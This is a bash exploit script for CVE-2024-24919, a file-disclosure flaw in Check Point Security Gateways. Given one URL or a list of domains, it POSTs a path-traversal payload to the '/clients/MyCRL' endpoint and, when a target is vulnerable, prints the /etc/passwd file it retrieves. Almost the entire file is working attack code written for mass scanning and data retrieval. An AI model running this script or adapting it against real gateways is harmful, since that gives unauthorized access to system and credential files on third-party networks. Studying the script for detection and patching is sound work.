#!/bin/bash
# Script Name : CVE-2024–24919.sh
# Author : Subhankar Paul (starlox)
# Created : 06-06-2024
# Purpose : Automating CVE-2024–24919 [Checkpoint Security Gateway Unauthorized Information Disclosure]
# Use ./CVE-2024–24919.sh -h [For Details Information]
#Banner
printf ' \e[1;31m%s\e[0m\n' "$(printf '=%.0s' {1..50})"; echo -e "\e[1;31m\e[3m CVE-2024-24919\e[0m [Checkpoint Security Gateway LFI]"; printf ' \e[1;31m%s\e[0m\n' "$(printf '=%.0s' {1..50})"
echo -e "\033[1;31m @starlox\033[0m"
# Function to display usage information
usage() {
echo -e "\n\e[1;33mUsage:\e[0m $0 \e[1;35m[-u url]\e[0m \e[1;35m[-w filename]\e[0m"
echo -e "\e[1;35m -u:\e[0m For Testing One Domain"
echo -e "\e[1;35m -w:\e[0m For Testing Multiple Domains \e[1;35m[domains.txt]\e[0m"
exit 0
}
# Function to process the URL
process_url() {
local url=$1
local domain=$(echo "$url" | awk -F[/:] '{print $4}' | sed 's/^www\.//')
local data="../../../../../../../etc/passwd"
echo -e "\033[1;31mProcessing Domain:\033[0m $url"
response=$(curl --path-as-is -s -k -X 'POST' \
-H "Host: $domain" \
-H 'Connection: keep-alive' \
--data-binary "aCSHELL/$data" \
"$url/clients/MyCRL" \
-o -)
if echo "$response" | grep -q -E '/bin/bash|/sbin/nologin'; then
echo -e "\033[1;32m[+] Target is Vulnerable\033[0m\n"
echo -e "\033[34m$response\033[0m\n"
else
echo -e "\033[1;32m[-] Target is Not Vulnerable\033[0m"
fi
}
# Function to process the file
process_file() {
local filename=$1
if [[ ! -f "$filename" ]]; then
echo "File not found: $filename"
exit 1
fi
echo -e "File provided: $filename\n"
while IFS= read -r line; do
process_url "$line"
done < "$filename"
}
# Main function to parse arguments and call other functions
main() {
local url=""
local filename=""
# Parse command-line options
while getopts "hu:w:" opt; do
case $opt in
u) url=$OPTARG ;;
w) filename=$OPTARG ;;
h) usage ;;
*) usage ;;
esac
done
# Shift away the parsed options
shift $((OPTIND - 1))
# Check if at least one option is provided
if [[ -z "$url" && -z "$filename" ]]; then
usage
fi
# Call appropriate functions based on the provided options
if [[ -n "$url" ]]; then
process_url "$url"
fi
if [[ -n "$filename" ]]; then
process_file "$filename"
fi
}
# Call the main function
main "$@"